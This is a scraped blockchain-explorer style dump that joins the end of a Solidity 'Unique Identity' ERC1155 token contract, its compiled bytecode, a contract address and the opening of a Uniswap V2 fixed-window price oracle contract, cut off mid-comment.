attacks, i.e. the reuse of a signature. mapping(address => uint256) public nonces; mapping(uint256 => bool) public supportedUIDTypes; function initialize(address owner, string memory uri) public initializer { require(owner != address(0), "Owner address cannot be empty"); __ERC1155PresetPauser_init(owner, uri); __UniqueIdentity_init(owner); } // solhint-disable-next-line func-name-mixedcase function __UniqueIdentity_init(address owner) internal initializer { __UniqueIdentity_init_unchained(owner); } // solhint-disable-next-line func-name-mixedcase function __UniqueIdentity_init_unchained(address owner) internal initializer { _setupRole(SIGNER_ROLE, owner); _setRoleAdmin(SIGNER_ROLE, OWNER_ROLE); } function setSupportedUIDTypes(uint256[] calldata ids, bool[] calldata values) public onlyAdmin { require(ids.length == values.length, "accounts and ids length mismatch"); for (uint256 i = 0; i < ids.length; ++i) { supportedUIDTypes[ids[i]] = values[i]; } } /** * @dev Gets the token name. * @return string representing the token name */ function name() public pure returns (string memory) { return "Unique Identity"; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() public pure returns (string memory) { return "UID"; } function mint( uint256 id, uint256 expiresAt, bytes calldata signature ) public payable override onlySigner(_msgSender(), id, expiresAt, signature) incrementNonce(_msgSender()) { require(msg.value >= MINT_COST_PER_TOKEN, "Token mint requires 0.00083 ETH"); require(supportedUIDTypes[id] == true, "Token id not supported"); require(balanceOf(_msgSender(), id) == 0, "Balance before mint must be 0"); _mint(_msgSender(), id, 1, ""); } function burn( address account, uint256 id, uint256 expiresAt, bytes calldata signature ) public override onlySigner(account, id, expiresAt, signature) incrementNonce(account) { _burn(account, id, 1); uint256 accountBalance = balanceOf(account, id); require(accountBalance == 0, "Balance after burn must be 0"); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal override(ERC1155PresetPauserUpgradeable) { require( (from == address(0) && to != address(0)) || (from != address(0) && to == address(0)), "Only mint or burn transfers are allowed" ); super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } modifier onlySigner( address account, uint256 id, uint256 expiresAt, bytes calldata signature ) { require(block.timestamp < expiresAt, "Signature has expired"); bytes32 hash = keccak256(abi.encodePacked(account, id, expiresAt, address(this), nonces[account], block.chainid)); bytes32 ethSignedMessage = ECDSAUpgradeable.toEthSignedMessageHash(hash); require(hasRole(SIGNER_ROLE, ECDSAUpgradeable.recover(ethSignedMessage, signature)), "Invalid signer"); _; } modifier incrementNonce(address account) { nonces[account] += 1; _; } }
0x6080604052600436106102665760003560e01c80638456cb5911610144578063b6db75a0116100b6578063e58378bb1161007a578063e58378bb1461070a578063e63ab1e91461072c578063e985e9c51461074e578063ec2e8a7514610797578063f242432a146107ac578063f399e22e146107cc57600080fd5b8063b6db75a01461068b578063ca15c873146106a0578063d547741f146106c0578063ddd8f687146106e0578063e57a2a50146106f557600080fd5b806391d148541161010857806391d14854146105e857806395d89b41146106085780639b56d78814610634578063a1ebf35d14610649578063a217fddf14610634578063a22cb4651461066b57600080fd5b80638456cb591461052a578063879dcceb1461053f5780638a94b05f1461055f5780639010d07c1461057f5780639142575d146105b757600080fd5b80632f2ff15d116101dd5780635344626a116101a15780635344626a146104905780635c975abb146104a5578063701d240a146104bd5780637ecebe00146104d2578063801dfa901461050057806380f878021461051557600080fd5b80632f2ff15d146103f957806336568abe146104195780633f4ba83a14610439578063479e743c1461044e5780634e1273f41461046357600080fd5b80630e89341c1161022f5780630e89341c146103445780631484bddd14610364578063248a9ca3146103795780632dc2c007146103a95780632e82d895146103c45780632eb2c2d6146103d957600080fd5b8062fdd58e1461026b57806301ffc9a71461029e57806302fe5305146102ce57806306fdde03146102f057806308dc9f4214610331575b600080fd5b34801561027757600080fd5b5061028b61028636600461310e565b6107ec565b6040519081526020015b60405180910390f35b3480156102aa57600080fd5b506102be6102b9366004613339565b610888565b6040519015158152602001610295565b3480156102da57600080fd5b506102ee6102e9366004613371565b610893565b005b3480156102fc57600080fd5b5060408051808201909152600f81526e556e69717565204964656e7469747960881b60208201525b60405161029591906135ee565b6102ee61033f3660046133ab565b6108c3565b34801561035057600080fd5b5061032461035f3660046132de565b610b09565b34801561037057600080fd5b5061028b600881565b34801561038557600080fd5b5061028b6103943660046132de565b60009081526065602052604090206001015490565b3480156103b557600080fd5b5061028b6602f2e16f29e00081565b3480156103d057600080fd5b5061028b600381565b3480156103e557600080fd5b506102ee6103f4366004612f93565b610b9d565b34801561040557600080fd5b506102ee6104143660046132f6565b610c34565b34801561042557600080fd5b506102ee6104343660046132f6565b610c5b565b34801561044557600080fd5b506102ee610c7d565b34801561045a57600080fd5b5061028b600581565b34801561046f57600080fd5b5061048361047e36600461319c565b610d09565b60405161029591906135ad565b34801561049c57600080fd5b5061028b600681565b3480156104b157600080fd5b5060fb5460ff166102be565b3480156104c957600080fd5b5061028b600181565b3480156104de57600080fd5b5061028b6104ed366004612f47565b6101916020526000908152604090205481565b34801561050c57600080fd5b5061028b600781565b34801561052157600080fd5b5061028b600281565b34801561053657600080fd5b506102ee610e6a565b34801561054b57600080fd5b506102ee61055a36600461325c565b610ef2565b34801561056b57600080fd5b506102ee61057a366004613137565b611007565b34801561058b57600080fd5b5061059f61059a366004613318565b61119c565b6040516001600160a01b039091168152602001610295565b3480156105c357600080fd5b506102be6105d23660046132de565b6101926020526000908152604090205460ff1681565b3480156105f457600080fd5b506102be6106033660046132f6565b6111bb565b34801561061457600080fd5b5060408051808201909152600381526215525160ea1b6020820152610324565b34801561064057600080fd5b5061028b600081565b34801561065557600080fd5b5061028b600080516020613a4683398151915281565b34801561067757600080fd5b506102ee61068636600461309a565b6111e6565b34801561069757600080fd5b506102be6112bd565b3480156106ac57600080fd5b5061028b6106bb3660046132de565b6112dc565b3480156106cc57600080fd5b506102ee6106db3660046132f6565b6112f3565b3480156106ec57600080fd5b5061028b600a81565b34801561070157600080fd5b5061028b600981565b34801561071657600080fd5b5061028b600080516020613a0683398151915281565b34801561073857600080fd5b5061028b600080516020613a2683398151915281565b34801561075a57600080fd5b506102be610769366004612f61565b6001600160a01b03918216600090815260ca6020908152604080832093909416825291909152205460ff1690565b3480156107a357600080fd5b5061028b600481565b3480156107b857600080fd5b506102ee6107c7366004613038565b6112fd565b3480156107d857600080fd5b506102ee6107e73660046130c3565b611384565b60006001600160a01b03831661085d5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b50600081815260c9602090815260408083206001600160a01b03861684529091529020545b92915050565b60006108828261145a565b61089b6112bd565b6108b75760405162461bcd60e51b81526004016108549061377d565b6108c08161149a565b50565b33848484848242106108e75760405162461bcd60e51b81526004016108549061374e565b6001600160a01b03851660009081526101916020908152604080832054905161091b92899289928992309291469101613455565b604051602081830303815290604052805190602001209050600061093e826114b1565b9050610992600080516020613a468339815191526106038387878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061150492505050565b6109ae5760405162461bcd60e51b815260040161085490613726565b336000818152610191602052604081208054600192906109cf9084906137eb565b90915550506602f2e16f29e000341015610a2b5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e206d696e7420726571756972657320302e303030383320455448006044820152606401610854565b60008c8152610192602052604090205460ff161515600114610a885760405162461bcd60e51b8152602060048201526016602482015275151bdad95b881a59081b9bdd081cdd5c1c1bdc9d195960521b6044820152606401610854565b610a92338d6107ec565b15610adf5760405162461bcd60e51b815260206004820152601d60248201527f42616c616e6365206265666f7265206d696e74206d75737420626520300000006044820152606401610854565b610afb338d600160405180602001604052806000815250611520565b505050505050505050505050565b606060cb8054610b1890613880565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4490613880565b8015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b50505050509050919050565b6001600160a01b038516331480610bb95750610bb98533610769565b610c205760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610854565b610c2d8585858585611620565b5050505050565b610c3e828261182a565b6000828152609760205260409020610c569082611850565b505050565b610c658282611865565b6000828152609760205260409020610c5690826118df565b610c95600080516020613a26833981519152336111bb565b610cff5760405162461bcd60e51b815260206004820152603560248201527f455243313135355072657365745061757365723a206d75737420686176652070604482015274617573657220726f6c6520746f20756e706175736560581b6064820152608401610854565b610d076118f4565b565b60608151835114610d6e5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b6064820152608401610854565b600083516001600160401b03811115610d9757634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610dc0578160200160208202803683370190505b50905060005b8451811015610e6257610e27858281518110610df257634e487b7160e01b600052603260045260246000fd5b6020026020010151858381518110610e1a57634e487b7160e01b600052603260045260246000fd5b60200260200101516107ec565b828281518110610e4757634e487b7160e01b600052603260045260246000fd5b6020908102919091010152610e5b816138e7565b9050610dc6565b509392505050565b610e82600080516020613a26833981519152336111bb565b610eea5760405162461bcd60e51b815260206004820152603360248201527f455243313135355072657365745061757365723a206d75737420686176652070604482015272617573657220726f6c6520746f20706175736560681b6064820152608401610854565b610d07611987565b610efa6112bd565b610f165760405162461bcd60e51b81526004016108549061377d565b828114610f655760405162461bcd60e51b815260206004820181905260248201527f6163636f756e747320616e6420696473206c656e677468206d69736d617463686044820152606401610854565b60005b83811015610c2d57828282818110610f9057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fa591906132c4565b6101926000878785818110610fca57634e487b7160e01b600052603260045260246000fd5b90506020020135815260200190815260200160002060006101000a81548160ff02191690831515021790555080611000906138e7565b9050610f68565b848484848482421061102b5760405162461bcd60e51b81526004016108549061374e565b6001600160a01b03851660009081526101916020908152604080832054905161105f92899289928992309291469101613455565b6040516020818303038152906040528051906020012090506000611082826114b1565b90506110d6600080516020613a468339815191526106038387878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061150492505050565b6110f25760405162461bcd60e51b815260040161085490613726565b6001600160a01b038c1660009081526101916020526040812080548e926001929161111e9084906137eb565b9091555061113090508d8d6001611a02565b600061113c8e8e6107ec565b9050801561118c5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e6365206166746572206275726e206d7573742062652030000000006044820152606401610854565b5050505050505050505050505050565b60008281526097602052604081206111b49083611b6d565b9392505050565b60009182526065602090815260408084206001600160a01b0393909316845291905290205460ff1690565b336001600160a01b03831614156112515760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b6064820152608401610854565b33600081815260ca602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60006112d7600080516020613a06833981519152336111bb565b905090565b600081815260976020526040812061088290611b79565b610c658282611b83565b6001600160a01b03851633148061131957506113198533610769565b6113775760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610854565b610c2d8585858585611ba9565b600054610100900460ff168061139d575060005460ff16155b6113b95760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff161580156113db576000805461ffff19166101011790555b6001600160a01b0383166114315760405162461bcd60e51b815260206004820152601d60248201527f4f776e657220616464726573732063616e6e6f7420626520656d7074790000006044820152606401610854565b61143b8383611cb8565b61144483611d51565b8015610c56576000805461ff0019169055505050565b60006001600160e01b03198216636cdb3d1360e11b148061148b57506001600160e01b031982166303a24d0760e21b145b80610882575061088282611dc6565b80516114ad9060cb906020840190612d1f565b5050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b60008060006115138585611deb565b91509150610e6281611e5b565b6001600160a01b0384166115805760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610854565b336115a08160008761159188612057565b61159a88612057565b876120b0565b600084815260c9602090815260408083206001600160a01b0389168452909152812080548592906115d29084906137eb565b909155505060408051858152602081018590526001600160a01b0380881692600092918516916000805160206139e6833981519152910160405180910390a4610c2d8160008787878761215e565b81518351146116825760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610854565b6001600160a01b0384166116a85760405162461bcd60e51b815260040161085490613649565b336116b78187878787876120b0565b60005b84518110156117bc5760008582815181106116e557634e487b7160e01b600052603260045260246000fd5b60200260200101519050600085838151811061171157634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815260c9835260408082206001600160a01b038e1683529093529190912054909150818110156117625760405162461bcd60e51b8152600401610854906136dc565b600083815260c9602090815260408083206001600160a01b038e8116855292528083208585039055908b168252812080548492906117a19084906137eb565b92505081905550505050806117b5906138e7565b90506116ba565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161180c9291906135c0565b60405180910390a46118228187878787876122c9565b505050505050565b6000828152606560205260409020600101546118468133612393565b610c5683836123f7565b60006111b4836001600160a01b03841661247d565b6001600160a01b03811633146118d55760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610854565b6114ad82826124cc565b60006111b4836001600160a01b038416612533565b60fb5460ff1661193d5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610854565b60fb805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60fb5460ff16156119cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610854565b60fb805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861196a3390565b6001600160a01b038316611a645760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610854565b33611a9381856000611a7587612057565b611a7e87612057565b604051806020016040528060008152506120b0565b600083815260c9602090815260408083206001600160a01b038816845290915290205482811015611b125760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b6064820152608401610854565b600084815260c9602090815260408083206001600160a01b03898116808652918452828520888703905582518981529384018890529092908616916000805160206139e6833981519152910160405180910390a45050505050565b60006111b48383612650565b6000610882825490565b600082815260656020526040902060010154611b9f8133612393565b610c5683836124cc565b6001600160a01b038416611bcf5760405162461bcd60e51b815260040161085490613649565b33611bdf81878761159188612057565b600084815260c9602090815260408083206001600160a01b038a16845290915290205483811015611c225760405162461bcd60e51b8152600401610854906136dc565b600085815260c9602090815260408083206001600160a01b038b8116855292528083208785039055908816825281208054869290611c619084906137eb565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616916000805160206139e6833981519152910160405180910390a4611caf82888888888861215e565b50505050505050565b600054610100900460ff1680611cd1575060005460ff16155b611ced5760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff16158015611d0f576000805461ffff19166101011790555b611d17612688565b611d1f612688565b611d27612688565b611d2f612688565b611d38826126f3565b611d40612753565b611d48612688565b611444836127c8565b600054610100900460ff1680611d6a575060005460ff16155b611d865760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff16158015611da8576000805461ffff19166101011790555b611db18261288d565b80156114ad576000805461ff00191690555050565b60006001600160e01b03198216635a05180f60e01b1480610882575061088282612922565b600080825160411415611e225760208301516040840151606085015160001a611e1687828585612957565b94509450505050611e54565b825160401415611e4c5760208301516040840151611e41868383612a3a565b935093505050611e54565b506000905060025b9250929050565b6000816004811115611e7d57634e487b7160e01b600052602160045260246000fd5b1415611e865750565b6001816004811115611ea857634e487b7160e01b600052602160045260246000fd5b1415611ef15760405162461bcd60e51b815260206004820152601860248201527745434453413a20696e76616c6964207369676e617475726560401b6044820152606401610854565b6002816004811115611f1357634e487b7160e01b600052602160045260246000fd5b1415611f615760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610854565b6003816004811115611f8357634e487b7160e01b600052602160045260246000fd5b1415611fdc5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610854565b6004816004811115611ffe57634e487b7160e01b600052602160045260246000fd5b14156108c05760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610854565b6040805160018082528183019092526060916000919060208083019080368337019050509050828160008151811061209f57634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6001600160a01b0385161580156120cf57506001600160a01b03841615155b806120f457506001600160a01b038516158015906120f457506001600160a01b038416155b6121505760405162461bcd60e51b815260206004820152602760248201527f4f6e6c79206d696e74206f72206275726e207472616e73666572732061726520604482015266185b1b1bddd95960ca1b6064820152608401610854565b611822868686868686612a69565b6001600160a01b0384163b156118225760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906121a29089908990889088908890600401613568565b602060405180830381600087803b1580156121bc57600080fd5b505af19250505080156121ec575060408051601f3d908101601f191682019092526121e991810190613355565b60015b612299576121f861392e565b806308c379a01415612232575061220d613946565b806122185750612234565b8060405162461bcd60e51b815260040161085491906135ee565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b6064820152608401610854565b6001600160e01b0319811663f23a6e6160e01b14611caf5760405162461bcd60e51b815260040161085490613601565b6001600160a01b0384163b156118225760405163bc197c8160e01b81526001600160a01b0385169063bc197c819061230d908990899088908890889060040161350a565b602060405180830381600087803b15801561232757600080fd5b505af1925050508015612357575060408051601f3d908101601f1916820190925261235491810190613355565b60015b612363576121f861392e565b6001600160e01b0319811663bc197c8160e01b14611caf5760405162461bcd60e51b815260040161085490613601565b61239d82826111bb565b6114ad576123b5816001600160a01b03166014612a77565b6123c0836020612a77565b6040516020016123d192919061349b565b60408051601f198184030181529082905262461bcd60e51b8252610854916004016135ee565b61240182826111bb565b6114ad5760008281526065602090815260408083206001600160a01b03851684529091529020805460ff191660011790556124393390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008181526001830160205260408120546124c457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610882565b506000610882565b6124d682826111bb565b156114ad5760008281526065602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60008181526001830160205260408120548015612646576000612557600183613822565b855490915060009061256b90600190613822565b90508181146125ec57600086600001828154811061259957634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106125ca57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061260b57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610882565b6000915050610882565b600082600001828154811061267557634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b600054610100900460ff16806126a1575060005460ff16155b6126bd5760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff161580156126df576000805461ffff19166101011790555b80156108c0576000805461ff001916905550565b600054610100900460ff168061270c575060005460ff16155b6127285760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff1615801561274a576000805461ffff19166101011790555b611db18261149a565b600054610100900460ff168061276c575060005460ff16155b6127885760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff161580156127aa576000805461ffff19166101011790555b60fb805460ff1916905580156108c0576000805461ff001916905550565b600054610100900460ff16806127e1575060005460ff16155b6127fd5760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff1615801561281f576000805461ffff19166101011790555b612837600080516020613a0683398151915283612c58565b61284f600080516020613a2683398151915283612c58565b612875600080516020613a26833981519152600080516020613a06833981519152612c62565b611db1600080516020613a0683398151915280612c62565b600054610100900460ff16806128a6575060005460ff16155b6128c25760405162461bcd60e51b81526004016108549061368e565b600054610100900460ff161580156128e4576000805461ffff19166101011790555b6128fc600080516020613a4683398151915283612c58565b611db1600080516020613a46833981519152600080516020613a06833981519152612c62565b60006001600160e01b03198216637965db0b60e01b148061088257506301ffc9a760e01b6001600160e01b0319831614610882565b6000806fa2a8918ca85bafe22016d0b997e4df60600160ff1b038311156129845750600090506003612a31565b8460ff16601b1415801561299c57508460ff16601c14155b156129ad5750600090506004612a31565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612a01573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612a2a57600060019250925050612a31565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b01612a5b87828885612957565b935093505050935093915050565b611822868686868686612cad565b60606000612a86836002613803565b612a919060026137eb565b6001600160401b03811115612ab657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612ae0576020820181803683370190505b509050600360fc1b81600081518110612b0957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612b4657634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000612b6a846002613803565b612b759060016137eb565b90505b6001811115612c09576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612bb757634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110612bdb57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93612c0281613869565b9050612b78565b5083156111b45760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610854565b610c3e8282612d15565b600082815260656020526040808220600101805490849055905190918391839186917fbd79b86ffe0ab8e8776151514217cd7cacd52c909f66475c3af44e129f0b00ff9190a4505050565b60fb5460ff16156118225760405162461bcd60e51b815260206004820152602c60248201527f455243313135355061757361626c653a20746f6b656e207472616e736665722060448201526b1dda1a5b19481c185d5cd95960a21b6064820152608401610854565b6114ad82826123f7565b828054612d2b90613880565b90600052602060002090601f016020900481019282612d4d5760008555612d93565b82601f10612d6657805160ff1916838001178555612d93565b82800160010185558215612d93579182015b82811115612d93578251825591602001919060010190612d78565b50612d9f929150612da3565b5090565b5b80821115612d9f5760008155600101612da4565b80356001600160a01b0381168114612dcf57600080fd5b919050565b60008083601f840112612de5578182fd5b5081356001600160401b03811115612dfb578182fd5b6020830191508360208260051b8501011115611e5457600080fd5b600082601f830112612e26578081fd5b81356020612e33826137c8565b604051612e4082826138bb565b8381528281019150858301600585901b87018401881015612e5f578586fd5b855b85811015612e7d57813584529284019290840190600101612e61565b5090979650505050505050565b80358015158114612dcf57600080fd5b60008083601f840112612eab578182fd5b5081356001600160401b03811115612ec1578182fd5b602083019150836020828501011115611e5457600080fd5b600082601f830112612ee9578081fd5b81356001600160401b03811115612f0257612f02613918565b604051612f19601f8301601f1916602001826138bb565b818152846020838601011115612f2d578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215612f58578081fd5b6111b482612db8565b60008060408385031215612f73578081fd5b612f7c83612db8565b9150612f8a60208401612db8565b90509250929050565b600080600080600060a08688031215612faa578081fd5b612fb386612db8565b9450612fc160208701612db8565b935060408601356001600160401b0380821115612fdc578283fd5b612fe889838a01612e16565b94506060880135915080821115612ffd578283fd5b61300989838a01612e16565b9350608088013591508082111561301e578283fd5b5061302b88828901612ed9565b9150509295509295909350565b600080600080600060a0868803121561304f578081fd5b61305886612db8565b945061306660208701612db8565b9350604086013592506060860135915060808601356001600160401b0381111561308e578182fd5b61302b88828901612ed9565b600080604083850312156130ac578182fd5b6130b583612db8565b9150612f8a60208401612e8a565b600080604083850312156130d5578182fd5b6130de83612db8565b915060208301356001600160401b038111156130f8578182fd5b61310485828601612ed9565b9150509250929050565b60008060408385031215613120578182fd5b61312983612db8565b946020939093013593505050565b60008060008060006080868803121561314e578283fd5b61315786612db8565b9450602086013593506040860135925060608601356001600160401b0381111561317f578182fd5b61318b88828901612e9a565b969995985093965092949392505050565b600080604083850312156131ae578182fd5b82356001600160401b03808211156131c4578384fd5b818501915085601f8301126131d7578384fd5b813560206131e4826137c8565b6040516131f182826138bb565b8381528281019150858301600585901b870184018b1015613210578889fd5b8896505b848710156132395761322581612db8565b835260019690960195918301918301613214565b509650508601359250508082111561324f578283fd5b5061310485828601612e16565b60008060008060408587031215613271578182fd5b84356001600160401b0380821115613287578384fd5b61329388838901612dd4565b909650945060208701359150808211156132ab578384fd5b506132b887828801612dd4565b95989497509550505050565b6000602082840312156132d5578081fd5b6111b482612e8a565b6000602082840312156132ef578081fd5b5035919050565b60008060408385031215613308578182fd5b82359150612f8a60208401612db8565b6000806040838503121561332a578182fd5b50508035926020909101359150565b60006020828403121561334a578081fd5b81356111b4816139cf565b600060208284031215613366578081fd5b81516111b4816139cf565b600060208284031215613382578081fd5b81356001600160401b03811115613397578182fd5b6133a384828501612ed9565b949350505050565b600080600080606085870312156133c0578182fd5b843593506020850135925060408501356001600160401b038111156133e3578283fd5b6132b887828801612e9a565b6000815180845260208085019450808401835b8381101561341e57815187529582019590820190600101613402565b509495945050505050565b60008151808452613441816020860160208601613839565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff19606097881b81168252601482019690965260348101949094529190941b90921660548201526068810192909252608882015260a80190565b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b8152600083516134cd816017850160208801613839565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516134fe816028840160208801613839565b01602801949350505050565b6001600160a01b0386811682528516602082015260a060408201819052600090613536908301866133ef565b828103606084015261354881866133ef565b9050828103608084015261355c8185613429565b98975050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a0608082018190526000906135a290830184613429565b979650505050505050565b6020815260006111b460208301846133ef565b6040815260006135d360408301856133ef565b82810360208401526135e581856133ef565b95945050505050565b6020815260006111b46020830184613429565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6020808252600e908201526d24b73b30b634b21039b4b3b732b960911b604082015260600190565b60208082526015908201527414da59db985d1d5c99481a185cc8195e1c1a5c9959605a1b604082015260600190565b6020808252602b908201527f4d75737420686176652061646d696e20726f6c6520746f20706572666f726d2060408201526a3a3434b99030b1ba34b7b760a91b606082015260800190565b60006001600160401b038211156137e1576137e1613918565b5060051b60200190565b600082198211156137fe576137fe613902565b500190565b600081600019048311821515161561381d5761381d613902565b500290565b60008282101561383457613834613902565b500390565b60005b8381101561385457818101518382015260200161383c565b83811115613863576000848401525b50505050565b60008161387857613878613902565b506000190190565b600181811c9082168061389457607f821691505b602082108114156138b557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f191681016001600160401b03811182821017156138e0576138e0613918565b6040525050565b60006000198214156138fb576138fb613902565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561394357600481823e5160e01c5b90565b600060443d10156139545790565b6040516003193d81016004833e81513d6001600160401b03816024840111818411171561398357505050505090565b828501915081518181111561399b5750505050505090565b843d87010160208285010111156139b55750505050505090565b6139c4602082860101876138bb565b509095945050505050565b6001600160e01b0319811681146108c057600080fdfec3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62b19546dff01e856fb3f010c267a7b1c60363cf8a4664e21cc89c26224620214e65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862ae2f4eaae4a9751e85a3e4a7b9587827a877f29914755229b07a7b2da98285f70a2646970667358221220a0d862191d3a08753c532642d6f93e520e7c426e3af130217d0f860295b3e09e64736f6c63430008040033
[ 5, 12, 2 ]
0xf2663d75dc6fe7fb27f1b4904a1998db73737ede
//SPDX-License-Identifier: MIT pragma solidity =0.6.6; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol"; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; import "./time/Debouncable.sol"; import "./time/Timeboundable.sol"; import "./interfaces/IOracle.sol"; /// Fixed window oracle that recomputes the average price for the entire period once every period /// @title Oracle /// @dev note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period contract Oracle is Debouncable, Timeboundable, IOracle, ReentrancyGuard { using FixedPoint for *; IUniswapV2Pair public immutable override pair; address public immutable override token0; address public immutable override token1; uint256 public price0CumulativeLast; uint256 public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; /// Creates an Oracle /// @param _factory UniswapV2 factory address. /// @param _tokenA 1st 